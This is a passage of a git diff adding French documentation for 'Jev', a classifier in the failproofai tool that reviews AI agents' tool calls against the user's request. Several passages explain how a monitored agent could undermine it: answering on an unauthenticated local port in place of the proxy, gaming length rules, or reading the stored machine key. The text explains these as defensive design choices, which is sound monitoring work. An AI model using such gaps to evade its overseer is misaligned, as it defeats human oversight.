+Transmettez-la avec `--key-stdin`, ou exécutez la commande dans un terminal sans ce flag et collez la clé à l'invite masquée. Dans les deux cas, elle va directement dans le fichier de configuration et n'est jamais affichée en retour.
+
+
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --key-stdin < ~/typesafe.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://openrouter.ai/api/v1 --key-stdin < ~/openrouter.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://ai-gateway.vercel.sh/typesafe/v1 \
+ --key-stdin < ~/vercel-gateway.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://api.cloudflare.com/client/v4 \
+ --account-id <32-hex-account-id> --key-stdin < ~/cloudflare.token
+ ```
+
+
+ ```bash
+ failproofai jev --url https://jev.internal.example.com/v1 --key-stdin < ~/jev.key
+ ```
+
+
+
+`failproofai jev setup` prend les mêmes flags et est la forme longue de tout cela : `setup --provider ` pour nommer le fournisseur plutôt que l'URL.
+
+### `--token` et ce que ça coûte
+
+`--token ` place la clé sur la ligne de commande, ce qui est le moyen le plus rapide de configurer une machine et la seule façon de laisser la clé ailleurs que dans le fichier de configuration :
+
+```bash
+failproofai jev --url https://openrouter.ai/api/v1 --token
+```
+
+
+Un argument de ligne de commande se retrouve dans le fichier d'historique de votre shell, et pendant l'exécution de la commande il apparaît dans la liste des processus — lisible depuis `/proc` par tout ce qui s'exécute sous votre identité. `setup` le signale à chaque utilisation de `--token`. Préférez `--key-stdin` sur une machine partagée, dans une session enregistrée, ou partout où le fichier d'historique est synchronisé ; faites tourner une clé transmise de cette façon si cela est important.
+
+
+`--token`, `--key-stdin` et `--key-from-env` sont mutuellement exclusifs : n'en donnez qu'un seul.
+
+Ensuite, envoyez une petite requête en direct pour vérifier la clé, l'endpoint et quelle version de Jev a répondu :
+
+```bash
+failproofai jev test
+```
+
+```text
+ failproofai jev test ok · 523 ms
+
+ provider cloudflare
+ model asked typesafe/jev
+ answered by jev-1.13.0 (Jev 1.13 family — verified)
+ latency 523 ms — within the 3000 ms timeout
+```
+
+`jev test` quitte avec le code 1, et l'indique dans son titre, lorsque la réponse arrive après le timeout (chaque hook reviendrait au regex comme `timeout`) ou répond incorrectement à sa question de vérification.
+
+Les hooks lisent la configuration à chaque appel d'outil, donc elle s'applique dès le suivant. Rien n'est à redémarrer, avec ou sans le daemon.
+
+## Vérifier ce qu'il fait
+
+```bash
+failproofai jev status
+failproofai jev status --json
+```
+
+`status` affiche le fournisseur, l'endpoint, le modèle, le mode, le fichier de configuration et ses permissions — jamais la clé. En dessous, il résume l'activité récente : combien d'appels Jev a évalués, à quelle fréquence il est revenu au regex et pourquoi, sa latence, et quelles politiques révisables il a autorisées.
+
+## Mode shadow
+
+`enforce` est le mode par défaut. Pour observer Jev sans lui permettre de modifier aucune décision, passez en mode `shadow` : Jev est toujours interrogé et ses verdicts sont enregistrés, mais c'est le résultat regex qui est appliqué.
+
+```bash
+failproofai jev setup --mode shadow
+failproofai jev setup --mode enforce
+failproofai jev setup --mode off
+```
+
+`off` conserve la configuration — l'endpoint et la clé — et cesse d'interroger Jev : les hooks exécutent les politiques regex exactement comme sans configuration, et `failproofai jev status` indique « off (switched off) ». Repassez en mode `shadow` ou `enforce` avec le flag correspondant.
+
+Relancer `setup` pour le même fournisseur conserve la clé stockée, donc un changement de mode ne nécessite qu'un seul flag. Changer de fournisseur repart de zéro et demande la clé de ce fournisseur. Il en va de même pour un `--base-url` qui déplace les requêtes vers un host différent : une clé stockée n'est envoyée qu'au host pour lequel elle a été fournie, ou à l'API propre de son fournisseur.
+
+## Le fichier de configuration
+
+Tout réside dans un seul fichier, `~/.failproofai/jev.json`, écrit par `setup` :
+
+```json
+{
+ "provider": "cloudflare",
+ "apiKey": "",
+ "accountId": "<32-hex-account-id>",
+ "mode": "enforce",
+ "timeoutMs": 3000
+}
+```
+
+| Champ | Signification |
+| --- | --- |
+| `provider` | `typesafe`, `openrouter`, `vercel`, `cloudflare` ou `custom` — ou `failproofai`, dont la clé provient de la connexion FailproofAI Cloud plutôt que de ce fichier (voir [Jev via FailproofAI Cloud](/fr/policies/jev-cloud)). |
+| `apiKey` | Envoyé en tant que `Authorization: Bearer `. |
+| `baseUrl` | Obligatoire pour `custom` ; remplace la base API du fournisseur sinon. Doit être `https`. Le simple `http` vers `localhost` est accepté uniquement avec `mode: shadow` : rien n'authentifie un port local, donc pendant que votre proxy est arrêté, tout processus sur la machine, y compris l'agent jugé, pourrait répondre à sa place. |
+| `accountId` | Cloudflare uniquement : 32 caractères hexadécimaux en minuscules. |
+| `model` | Remplace l'identifiant de modèle par défaut du fournisseur. Un identifiant versionné doit nommer Jev 1.13. Une valeur ressemblant à une clé API est refusée (et non renvoyée), donc une clé collée dans `--model` n'est jamais stockée ni envoyée comme modèle. |
+| `timeoutMs` | Durée pendant laquelle un appel d'outil attend Jev avant d'utiliser le résultat regex. 100–10000, défaut 3000. |
+| `mode` | `enforce` (défaut), `shadow`, ou `off` (conserver la configuration, ne pas exécuter Jev). |
+
+Trois règles le protègent :
+
+- **Propriétaire uniquement.** Il est écrit avec les permissions `0600`. Une copie qu'un autre utilisateur ou groupe peut lire ou écrire est **refusée**, et les hooks reviennent au regex jusqu'à ce que vous exécutiez `chmod 600 ~/.failproofai/jev.json` ou `setup` à nouveau. Le répertoire est aussi vérifié : `~/.failproofai` ne doit pas être **inscriptible** par quelqu'un d'autre, car quiconque peut y écrire peut remplacer le fichier quelles que soient ses propres permissions. `setup` retire ces bits d'écriture s'il les trouve. `failproofai jev status` indique quand une configuration a été refusée et affiche l'endpoint nommé dans le fichier : quelqu'un d'autre pourrait l'avoir modifié, donc vérifiez qu'il vous appartient avant de faire `chmod`. Relancer `setup` sur un tel fichier n'achemine sa clé stockée que vers l'API propre du fournisseur ; tout autre endpoint qu'il nomme nécessite à nouveau la clé (`--key-stdin`), ou `--base-url default` pour renvoyer les requêtes vers le fournisseur.
+- **Global uniquement.** Un dépôt ne peut pas activer Jev, le pointer vers un autre endpoint ou choisir son modèle : un `.failproofai/jev.json` à l'intérieur d'un projet est ignoré, et le fournisseur, l'URL, le modèle et l'identifiant de compte ne sont lus que depuis ce fichier — jamais depuis l'environnement, que les paramètres agent d'un dépôt peuvent définir. (`FAILPROOFAI_HOME` ne contourne pas cela : il déplace l'intégralité du répertoire failproofai, vos politiques incluses, plutôt que de rediriger Jev seul.)
+- **La clé seule peut provenir de l'environnement.** Si le fichier n'a pas d'`apiKey`, `FAILPROOFAI_JEV_API_KEY` la fournit pour cette session (`setup --key-from-env` écrit un tel fichier). Elle ne remplace jamais une clé que le fichier contient, et elle ne peut pas activer Jev sans le fichier. Lorsque la variable n'est pas définie, Jev est simplement désactivé pour ce shell : `failproofai jev status` l'indique, quitte avec le code 0 et laisse la configuration intacte (`status --json` rapporte `"status": "key-missing"` avec `"reason": "no-env-key"`). Le daemon `failproofaid` ne voit pas l'environnement de votre shell, donc sur une machine configurée avec `failproofai config`, conservez la clé dans le fichier.
+
+## Quelle version de Jev répond
+
+Les seuils de décision de Failproof AI ont été calibrés sur Jev 1.13, donc une réponse n'est utilisée que lorsqu'elle provient de cette famille : `jev-1.13.x`, ou `typesafe/jev-1.13-` d'OpenRouter. Lorsqu'un fournisseur nomme Jev uniquement par un alias et ne rapporte aucune version (Vercel, et Cloudflare quand il ne le précise pas), la réponse est utilisée et enregistrée comme non vérifiée. Un endpoint `custom` doit rapporter le modèle qui a répondu ; la seule exception est un nom `--model` non versionné que vous avez configuré pour lui, qui, renvoyé en écho, est enregistré comme non vérifié de la même façon. Une réponse rapportant toute autre version, ou une réponse `custom` n'en rapportant aucune, n'est pas utilisée : cet appel revient au regex avec la raison `model-mismatch`.
+
+## Quand Jev ne peut pas répondre
+
+Chacun de ces cas revient au résultat regex pour cet appel et est enregistré avec sa raison, que `failproofai jev status` totalise :
+
+| Raison | Cause |
+| --- | --- |
+| `timeout` | Aucune réponse dans le délai `timeoutMs`. |
+| `http-429` | Le fournisseur a limité la clé en débit. |
+| `rate-limited` | Le limiteur interne de Failproof AI a retenu l'appel avant de l'envoyer : 5 requêtes par seconde, en rafales de 5 au maximum, et aucune pendant un moment après que le fournisseur répond `429`. Pas le fournisseur. |
+| `http-500`, `http-502`, `http-503`, … | Une erreur serveur chez le fournisseur. Le statut exact est enregistré. |
+| `out-of-credits` | HTTP 402 : le compte fournisseur n'a plus de crédits. |
+| `provider-refused` | HTTP 402 de Cloudflare indiquant « Model execution failed (Payment error) » : le fournisseur a refusé d'exécuter le modèle sur cette requête. Généralement pas lié à la facturation, donc recharger les crédits ne résoudra pas le problème. |
+| `http-401`, `http-403` | La clé a été refusée. |
+| `http-404` | Rien n'est servi à `/systemone`, donc l'URL de base est incorrecte — `/systemone` y est ajouté, et chaque fournisseur le sert à sa racine de version. `failproofai jev models` montre ce que l'endpoint sert effectivement. |
+| `network` | L'endpoint n'a pas pu être atteint. |
+| `http-301`, `http-302`, `http-307`, `http-308` | L'endpoint a répondu avec une redirection. Les redirections ne sont jamais suivies, donc la réponse ne vient que de l'URL dans votre configuration ; définissez `--base-url` sur l'URL finale. |
+| `malformed` | L'endpoint a répondu, mais pas avec une réponse Jev — un corps qui n'est pas JSON, ou sans réponses. |
+| `cloudflare-error`, `cloudflare-incomplete` | L'enveloppe de Cloudflare a rapporté un échec, ou un job non terminé. |
+| `model-mismatch` | Une version de Jev autre que 1.13 a répondu, ou un endpoint `custom` n'a pas indiqué quel modèle a répondu. |
+| `request-cut` | **Pas une panne.** Jev a répondu ; il n'a vu qu'une partie de l'appel, donc sa réponse n'a rien autorisé. Voir [Quand Jev a répondu, mais pas sur l'intégralité de l'appel](#when-jev-answered-but-not-on-the-whole-call). |
+
+`failproofai jev status` peut aussi afficher quelques raisons plus rares, comme `upstream-error` (la réponse portait l'erreur propre du fournisseur) ou `config`, et totalise toute raison qu'il ne peut pas nommer sous `other`.
+
+`request-cut` figure dans ce tableau parce que `failproofai jev status` le totalise avec les autres, et parce qu'il maintient lui aussi tous les refus. C'est la seule raison ici qui ne dit rien sur votre fournisseur : la requête est arrivée et Jev y a répondu. Contrairement à toutes les lignes précédentes, cette réponse compte quand même — le propre refus ou avertissement de Jev s'applique en plus du résultat regex plutôt que d'être ignoré. Donc une suite de ces cas signifie que des appels atteignent l'évaluateur trop volumineux pour être envoyés en entier, pas que votre endpoint est défaillant, et recharger des crédits ou changer d'URL ne fera pas baisser le nombre.
+
+## Quand Jev a répondu, mais pas sur l'intégralité de l'appel
+
+Deux autres situations peuvent se produire, et aucune ne correspond à un échec de réponse de Jev. Toutes deux portent sur la quantité de l'appel, ou de la conversation, qui tient dans une seule requête.
+
+**Une partie de l'appel lui-même n'a pas tenu.** Un appel d'outil est envoyé dans un budget fixe, et un très volumineux — un très grand `Write`, un énorme corps MCP, une commande gonflée jusqu'à la limite — est envoyé avec ce qui a tenu. Jev répond quand même, et sa réponse compte quand même : son propre refus ou avertissement s'applique normalement. Ce qu'il ne peut pas faire, c'est **autoriser** quoi que ce soit, car un verdict rendu sur une partie d'un appel n'est pas un verdict sur l'appel. Donc tous les refus de politique restent, et l'appel est enregistré comme un fallback avec la raison `request-cut`, que `failproofai jev status` totalise avec les raisons ci-dessus. La règle que cela vous donne : rendre un appel plus volumineux peut lui coûter ses autorisations, et ne peut jamais en obtenir une.
+
+**Un message n'a pas tenu.** Un long prompt que vous avez collé, le dernier message de l'agent, ou un prompt que le store propre de cet évaluateur avait déjà tronqué. **Rien ne change** : l'appel est jugé, autorisé et enregistré exactement comme n'importe quel autre, et il n'est pas comptabilisé comme fallback. La longueur de ce que vous tapez ne détermine jamais un verdict, et une troncature ne peut pas fabriquer un consentement : lorsqu'un prompt est arrivé déjà tronqué, « vous n'avez pas demandé ceci » cesse d'être une conclusion qui peut en être tirée, plutôt que de le devenir.
+
+La ligne de démarcation entre les deux, c'est qui a écrit le texte. L'appel appartient à l'agent, et une règle qui permettrait à sa longueur de réduire la gravité serait une règle dont l'agent pourrait se servir ; votre prompt vous appartient, et traiter sa longueur comme un signal ne fait que pénaliser le fait de coller une spec ou une trace de pile.
+
+## Ce qui quitte la machine
+
+Pour chaque appel d'outil que Jev évalue, une requête est envoyée à votre fournisseur, contenant :
+
+- l'appel d'outil lui-même, avec les secrets tels que les clés API, les tokens bearer et les affectations `KEY=` masqués ;
+- les prompts récents que vous avez tapés, avec le texte ajouté par le harnais de votre agent retiré ;
+- le dernier message de l'agent avant votre dernier prompt, étiqueté comme écrit par l'agent ;
+- des faits calculés localement, comme si un chemin est à l'intérieur du projet — celui dans lequel la session se trouvait lors de son premier appel révisé, [épinglé pour la session](/fr/reference/jev-intent#the-project-root) — et la branche git actuelle.
+
+Cela va uniquement vers l'endpoint dans votre configuration, sous votre clé.
+
+## Désactivation
+
+```bash
+failproofai jev remove
+```
+
+Cela supprime `~/.failproofai/jev.json`. À partir du prochain appel d'outil, les hooks exécutent les politiques regex exactement comme avant. Les stores par session sous `~/.failproofai/state/semantic/` (prompts enregistrés dans `sessions/`, racines de projet dans `roots/`) sont laissés en place et expirent naturellement. Pour arrêter d'interroger Jev tout en conservant la configuration, utilisez plutôt `failproofai jev setup --mode off`.
+
+## Référence des commandes
+
+| Commande | Résultat |
+| --- | --- |
+| `failproofai jev --url --key-stdin` | Le configurer en une seule commande ; le fournisseur est déduit du host de l'URL |
+| `failproofai jev --url --token ` | Pareil, avec la clé sur la ligne de commande — votre historique et la liste des processus la voient |
+| `failproofai jev setup --provider --key-stdin` | Écrire la configuration depuis une clé transmise sur stdin |
+| `failproofai jev setup --provider ` | Pareil, en demandant la clé à une invite masquée |
+| `failproofai jev setup --key-from-env` | Ne stocker aucune clé ; lire `FAILPROOFAI_JEV_API_KEY` par session |
+| `failproofai jev setup --mode shadow` | Changer de mode (`enforce`, `shadow` ou `off`), en conservant la clé stockée |
+| `failproofai jev setup --model ` / `--base-url ` | Remplacer le modèle ou la base API ; `default` efface la substitution |
+| `failproofai jev setup --timeout-ms ` | Modifier le budget par appel |
+| `failproofai jev status [--json]` | Configuration, permissions et activité récente ; jamais la clé |
+| `failproofai jev test [--json]` | Une requête en direct : latence et version ayant répondu |
+| `failproofai jev models [--provider ] [--url ] [--json]` | Les identifiants de modèles que `/models` de cet endpoint rapporte, en marquant celui configuré |
+| `failproofai jev remove` | Supprimer la configuration ; Jev est désactivé |
\ No newline at end of file
diff --git a/docs/fr/policies/jev-cloud.mdx b/docs/fr/policies/jev-cloud.mdx
new file mode 100644
index 000000000..ce98411c7
--- /dev/null
+++ b/docs/fr/policies/jev-cloud.mdx
@@ -0,0 +1,117 @@
+---
+title: "Jev via FailproofAI Cloud"
+description: "Laissez Jev évaluer les appels d'outils de vos agents via FailproofAI Cloud, sur le forfait de votre organisation, sans compte ni clé TypeSafe personnels."
+icon: "cloud"
+---
+
+[Jev](/fr/policies/jev-byok), le classificateur de TypeSafe, analyse chaque appel d'outil par rapport à ce que vous avez réellement demandé et intervient aux côtés de vos politiques, sans jamais les remplacer. Via **FailproofAI Cloud**, une machine connectée utilise Jev avec la clé qu'elle utilise déjà pour se connecter : pas de compte TypeSafe, pas de seconde clé, pas d'endpoint à configurer. Chaque appel est imputé sur l'allocation du forfait existant de votre organisation.
+
+Tout ce que fait Jev est identique à la [configuration avec votre propre clé](/fr/policies/jev-byok) : les politiques strictes restent définitives, le refus d'une politique révisable n'est levé que lorsque Jev a été interrogé précisément sur ce point, et toute défaillance revient au résultat regex pour cet appel.
+
+
+Nécessite **failproofai 1.0.8-beta.0** ou une version ultérieure. La version 1.0.7 ne dispose pas de Jev, même si elle apparaît au-dessus des versions bêta 1.0.7 dans le tri. Sans configuration Jev, rien ne change : les hooks exécutent les politiques regex exactement comme avant.
+
+
+## Activation
+
+1. **Créez une clé avec Jev.** Dans le tableau de bord FailproofAI Cloud, ouvrez **Keys → Create key** et choisissez le preset **machine**. Il accorde les trois permissions dont une machine a besoin : `events:add` (envoyer l'activité), `policies:pull` (recevoir les politiques) et `jev:evaluate` (Jev, imputé sur le forfait de votre organisation). Une clé ne peut pas porter `jev:evaluate` sans les deux autres.
+2. **Connectez la machine** avec cette clé :
+
+ ```bash
+ failproofai config --token
+ ```
+
+ Si votre organisation gère sa propre instance FailproofAI Cloud plutôt que le service hébergé, ajoutez son adresse : `--url https://` (ou exportez `FAILPROOFAI_CLOUD_URL`). Sans cela, la clé est vérifiée contre le service hébergé et la connexion échoue. Si le certificat de cet hôte provient d'une CA privée, installez la CA dans le magasin de confiance système de la machine (par exemple avec `update-ca-certificates`), et non uniquement dans `NODE_EXTRA_CA_CERTS` : le démon qui envoie les événements et récupère les politiques lit le magasin système. Consultez [Dépannage](/fr/reference/troubleshooting).
+
+C'est tout. La connexion enregistre la clé et, lorsque la machine n'a **pas encore** de configuration Jev, active Jev via FailproofAI Cloud en mode **shadow** : Jev est interrogé pour chaque appel d'outil soumis à condition et ses verdicts sont enregistrés, mais c'est le résultat de vos politiques qui est appliqué. Le résultat l'indique :
+
+```text
+ Jev on through FailproofAI Cloud, in shadow mode: logged, not enforced (~/.failproofai/jev.json).
+```
+
+**Avec `--no-transcripts`, la connexion n'active pas Jev.** Jev envoie chaque appel d'outil vérifié ainsi que le prompt récent à FailproofAI Cloud, ce qui va au-delà de ce qu'une connexion en mode décisions uniquement est autorisée à envoyer. La clé est tout de même enregistrée, et le résultat indique que Jev est disponible et comment l'activer :
+
+```bash
+failproofai jev setup --provider failproofai
+```
+
+Cela n'**désactive** pas non plus Jev. Si le fichier `jev.json` de la machine exécute déjà Jev via FailproofAI Cloud, il reste tel quel, et le résultat indique que Jev continue d'envoyer chaque appel d'outil vérifié et le prompt récent, et que `failproofai jev setup --mode off` permet de le désactiver.
+
+
+La connexion **ne remplace jamais** un fichier `~/.failproofai/jev.json` existant. Si vous utilisez déjà votre propre endpoint Jev, il continue d'être utilisé, et le résultat indique que le fichier a été laissé tel quel — et, lorsque ce fichier laisse Jev désactivé (refusé ou désactivé manuellement), l'indique ainsi que la marche à suivre. Pour basculer cette machine sur FailproofAI Cloud, exécutez `failproofai jev setup --provider failproofai`.
+
+
+## Shadow, enforce ou off
+
+Commencez en mode shadow, observez ce que Jev aurait fait sur la page des politiques, puis laissez-le agir :
+
+```bash
+failproofai jev setup --mode enforce # Les verdicts de Jev s'appliquent : il peut lever un refus révisable et émettre le sien
+failproofai jev setup --mode shadow # Jev est interrogé et enregistré ; c'est le résultat de vos politiques qui est appliqué
+failproofai jev setup --mode off # Conserve la configuration, cesse d'interroger Jev
+```
+
+Le même commutateur se trouve dans le tableau de bord local : **Settings → Jev** dispose d'un bouton on/off et d'un choix shadow/enforce. Il réécrit uniquement le mode. Les hooks lisent la configuration à chaque appel d'outil, donc un changement s'applique dès l'appel suivant, sans redémarrage.
+
+## Vérifier ce qu'il fait
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+`status` affiche le fournisseur comme **FailproofAI Cloud**, l'hôte Cloud auquel la machine est connectée, le mode, et la source de la clé comme **connexion FailproofAI Cloud**, jamais la clé elle-même. Lorsqu'un fichier `jev.json` FailproofAI Cloud est en place mais que Jev ne peut pas fonctionner, il en indique la raison :
+
+| `status` indique | `status --json` | Signification |
+| --- | --- | --- |
+| **off — no Jev key is stored for this machine's FailproofAI Cloud connection** | `key-lacks-jev` | La machine est connectée, mais aucune clé Jev n'est enregistrée pour elle : la clé ne possède pas `jev:evaluate`, ou la connexion n'a pas pu le confirmer. Exécutez à nouveau `failproofai config --token ` avec la même clé ; si elle ne dispose pas de la permission, utilisez une clé **machine**. |
+| **off — this machine is not connected to FailproofAI Cloud** | `not-connected` | Il n'y a pas de connexion FailproofAI Cloud sur cette machine pour la clé Jev. |
+
+Après `failproofai config --disconnect`, il n'y a plus de fichier `jev.json` FailproofAI Cloud (sauf s'il avait été désactivé, auquel cas il est conservé), donc `status` signale simplement Jev comme désactivé. `status --json` contient les mêmes informations (`provider: "failproofai"`, `keySource: "cloud"`, `cloudConnected`, `keyCarriesJev`), y compris lorsque la configuration est absente ou refusée. `permissions` correspond toujours au contenu de `jev.json` ; un refus concernant `credentials.json` ajoute `credentialsPermissions`, ainsi que `fix` lorsqu'une seule commande suffit à corriger le problème. `test` envoie une requête en direct et rapporte sa latence ainsi que la version de Jev qui a répondu. Il se termine avec le code 1, et l'indique dans son titre, lorsque la réponse arrive après le délai d'expiration du hook (les hooks enregistreraient `timeout`) ou répond incorrectement à sa question de vérification.
+
+Le panneau **Settings → Jev** du tableau de bord affiche également la **connexion FailproofAI Cloud** : l'organisation dans laquelle la machine est enregistrée et si sa clé porte Jev. Ces informations sont lues depuis les fichiers locaux de la machine, sans appel réseau.
+
+## Ce qui parvient à la page des politiques
+
+La machine envoie déjà son activité de hook à FailproofAI Cloud (`events:add`). Avec Jev activé, l'enregistrement de chaque appel soumis à condition indique également quel évaluateur a été utilisé, ce que Jev a décidé, quelles politiques il a levées, pourquoi il a reculé le cas échéant, sa latence et le modèle qui a répondu — décisions, codes et noms, jamais la commande ni votre prompt. Sur la page **Policies** de votre organisation :
+
+- un appel décidé par le verdict propre de Jev (mode enforce) est attribué à **Jev**, et lorsque la vérification décisive provient d'un pack, l'enregistrement nomme également ce pack et sa version ;
+- en mode shadow, le refus ou l'avertissement de Jev apparaît comme un **would-have**, à côté des déploiements que vous observez ;
+- les politiques levées par Jev, ou qu'il aurait levées en mode shadow, sont comptabilisées par politique.
+
+## Quand Jev ne peut pas répondre
+
+Chacun des cas suivants revient au résultat de vos politiques pour cet appel, et est enregistré avec sa raison :
+
+| Raison | Cause |
+| --- | --- |
+| `out-of-credits` | Votre organisation a épuisé son allocation de forfait. |
+| `http-401`, `http-403` | La clé a été révoquée, ou ne porte pas `jev:evaluate`. Reconnectez-vous avec une clé qui le possède. |
+| `http-429` | FailproofAI Cloud limite le débit de Jev pour votre organisation. Jusqu'à la fin du délai demandé (`Retry-After`, 60 secondes au maximum), la machine n'envoie rien et chaque appel revient immédiatement au résultat de secours. Les appels retenus de cette façon sont enregistrés comme `http-429`, ou comme `rate-limited` lorsque la limite de débit propre de la machine les retient en premier. |
+| `http-429` (limite quotidienne) | Votre organisation a atteint sa limite quotidienne d'appels Jev : **10 000 par jour UTC**, sauf si l'opérateur de votre FailproofAI Cloud a défini une autre limite. Chaque appel revient au résultat de secours jusqu'à la réinitialisation du compteur à 00:00 UTC ; la machine interroge à nouveau au maximum une fois par minute, donc elle détecte la réinitialisation en moins d'une minute. `failproofai jev test` affiche « Daily Jev limit for this org reached; resets at 00:00 UTC. » |
+| `http-422` | Jev a refusé la requête de cet appel, généralement parce que l'appel d'outil contenait du texte dense (base64, hexadécimal, code minifié) dépassant le budget de tokens de Jev. Cet appel revient toujours au résultat de secours ; ce n'est pas une panne. |
+| `http-502` | Jev est temporairement indisponible. |
+| `http-503` | Ce Cloud ne peut pas servir Jev pour votre organisation : pas de passerelle de modèle, une organisation pas encore provisionnée, ou la passerelle est hors service. Contactez votre administrateur ; les hooks réessayent au maximum une fois par minute. |
+| `http-404` | Ce FailproofAI Cloud ne propose pas encore Jev. |
+| `timeout` | Aucune réponse dans le délai `timeoutMs` (3000 ms par défaut). |
+| `model-mismatch` | Une version de Jev autre que 1.13 a répondu. |
+
+## Où la clé est stockée et où elle va
+
+- La clé est stockée une seule fois, dans `~/.failproofai/credentials.json` (`0600`, dans un répertoire accessible uniquement par le propriétaire), aux côtés des autres identifiants FailproofAI Cloud. `jev.json` ne contient aucune clé pour cette route ; une clé qui y serait écrite rend la configuration invalide.
+- Si `credentials.json` accorde **une quelconque** permission à quelqu'un d'autre que vous (groupe ou autre, lecture ou écriture), ou si son répertoire peut être **écrit** par quelqu'un d'autre que vous, il est **refusé**, non lu, et Jev est désactivé jusqu'à ce que vous corrigiez le problème : `chmod 600` sur le fichier, `chmod 700` sur le répertoire (ou reconnectez-vous, ce qui réécrit le fichier avec les permissions `0600` et rend le répertoire accessible uniquement par le propriétaire). Un répertoire que d'autres peuvent seulement lire est acceptable ; un répertoire qu'ils peuvent écrire leur permet de substituer le fichier.
+- La clé ne compte que tant que la connexion avec laquelle elle est arrivée est présente sur la machine : un identifiant de politique ou de reporting pour le même FailproofAI Cloud **avec la même clé**, dans le même fichier. Une clé Jev laissée sans connexion est ignorée, et Jev reste désactivé. Cela se produit lorsque la commande `config --disconnect` d'une version plus ancienne de failproofai laisse la clé Jev en place (elle ne sait pas qu'il faut la supprimer), ou lorsque la commande `config --token` d'une version plus ancienne de failproofai se connecte avec une autre clé, qui sur FailproofAI Cloud peut appartenir à une autre organisation. Pour réactiver Jev, reconnectez-vous avec une clé **machine**.
+- La clé est uniquement envoyée à l'origine Cloud contre laquelle elle a été vérifiée. Un fichier `jev.json` pointant ailleurs est refusé.
+- **Un agent sur la machine peut la lire.** `credentials.json` est accessible uniquement par le propriétaire, et l'agent s'exécute en tant que ce propriétaire. La lecture des fichiers propres à failproofai est autorisée intentionnellement (seule leur modification est bloquée, par `block-failproofai-commands`), donc la seule chose entre un agent et ce fichier est `block-read-outside-cwd` — une politique *révisable* — et, depuis une session démarrée dans votre répertoire personnel, rien du tout. Une clé avec `jev:evaluate` dépense l'allocation Jev de votre organisation (dans la limite du plafond quotidien) depuis n'importe quel endroit où elle est utilisée, donc traitez une clé machine comme tout autre identifiant de dépense : si un agent a pu la lire, désactivez-la sur la page Keys et reconnectez-vous avec une nouvelle.
+- Seuls vos fichiers globaux déterminent cela. Un dépôt ne peut pas activer Cloud Jev, le pointer ailleurs ni fournir sa clé, et `FAILPROOFAI_JEV_API_KEY` est ignoré pour cette route.
+- Pour chaque appel évalué par Jev, une requête est envoyée à FailproofAI Cloud, contenant ce que la [page bring-your-own-key](/fr/policies/jev-byok#what-leaves-the-machine) liste (secrets expurgés). FailproofAI Cloud le transmet à TypeSafe et ne le journalise ni ne le conserve.
+
+## Désactivation
+
+| Commande | Résultat |
+| --- | --- |
+| `failproofai jev setup --mode off` | Conserve la configuration ; Jev n'est plus interrogé. **C'est le commutateur qui persiste :** une nouvelle connexion ne réécrit jamais un fichier `jev.json` existant, donc Jev reste désactivé jusqu'à ce que vous le réactiviez avec `--mode shadow`. |
+| `failproofai jev remove` | Supprime `~/.failproofai/jev.json` ; Jev est désactivé — jusqu'à la prochaine exécution de `failproofai config --token` avec une clé portant `jev:evaluate`, qui ne trouvant pas de `jev.json` activera à nouveau Jev en mode shadow (sauf si elle s'exécute avec `--no-transcripts`). Pour le garder désactivé, utilisez `--mode off`. |
+| `failproofai config --disconnect` | Déconnecte la machine : la clé est supprimée, ainsi que `jev.json` lorsqu'il désigne FailproofAI Cloud et n'est pas en mode désactivé. Un fichier `jev.json` pour votre propre endpoint est conservé, de même qu'un fichier en mode désactivé, de sorte que Jev reste désactivé lors d'une nouvelle connexion. |
+
+Dès l'appel d'outil suivant, les hooks exécutent les politiques regex exactement comme avant.
\ No newline at end of file
diff --git a/docs/fr/policies/jev.mdx b/docs/fr/policies/jev.mdx
new file mode 100644
index 000000000..feb8af4c2
--- /dev/null
+++ b/docs/fr/policies/jev.mdx
@@ -0,0 +1,45 @@
+---
+title: "Politiques Jev"
+description: "Ajoutez la révision en direct de Jev aux appels d'outils contrôlés, puis inspectez ses décisions avant de les appliquer."
+icon: "shield-check"
+---
+
+Jev analyse un appel d'outil au regard de ce que la personne a demandé à l'agent de faire. Utilisez-le lorsqu'une politique basée sur la correspondance de chaînes bloque un travail valide ou laisse passer une action risquée qui nécessite du contexte. Il répond aux côtés de vos politiques au niveau du point de contrôle `PreToolUse` ou `PermissionRequest`. Pour un score **après** la fin d'une session, utilisez les [évaluations Jev](/fr/evaluations/jev).
+
+## Démarrer en mode observation
+
+Installez Failproof AI et attachez des hooks à un [harnais compatible](/fr/reference/harnesses). Utilisez failproofai 1.0.8-beta.0 ou une version ultérieure.
+
+Failproof AI ne fournit aucune vérification Jev par défaut. Installez-les sous forme de pack, sinon Jev n'a rien à évaluer et ne sera jamais appelé :
+
+```bash
+failproofai policies add FailproofAI/jev-policies
+```
+
+Choisissez ensuite comment les requêtes parviennent à Jev :
+
+| Itinéraire | Première étape |
+| --- | --- |
+| FailproofAI Cloud | Connectez-vous avec une clé **machine** disposant de la permission `jev:evaluate`. Sur une machine sans configuration Jev, `failproofai config` active Jev en mode observation. |
+| Votre propre fournisseur | Dans le tableau de bord local, ouvrez **Paramètres → Jev**, choisissez le fournisseur, collez son jeton et sélectionnez **observer**. Ou exécutez `failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key`. |
+
+
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+`test` vérifie le point de terminaison. Pour vérifier le chemin du hook, demandez à un agent instrumenté d'utiliser son outil de lecture de fichier sur `README.md`. Confirmez que cet appel d'outil apparaît dans la session, puis inspectez **Politiques → Activité** dans le [tableau de bord local](/fr/reference/local-dashboard#review-policy-activity). Le compteur Jev dans `status` devrait augmenter. Le mode observation enregistre ce que Jev aurait décidé, tandis que le résultat de votre politique existante continue de s'appliquer.
+
+## Décider du moment d'appliquer les décisions
+
+Une politique **dure** a toujours le dernier mot. Jev ne peut lever un refus que d'une politique explicitement marquée comme **révisable** et uniquement lorsqu'il a évalué le motif nommé de cette politique. Consultez [l'autorité des politiques](/fr/policies/authority) avant de vous fier à une levée. Jev peut également émettre un avertissement ou refuser de son propre chef. S'il ne peut pas répondre, c'est le résultat de la politique qui décide de cet appel.
+
+Une fois que les résultats en mode observation semblent corrects, passez en mode application dans **Paramètres → Jev** ou exécutez :
+
+```bash
+failproofai jev setup --mode enforce
+```
+
+Pour les URL de fournisseurs, les clés Cloud, la configuration, les mécanismes de repli et les données envoyées avec chaque requête, consultez la [référence d'intégration Jev](/fr/reference/jev).
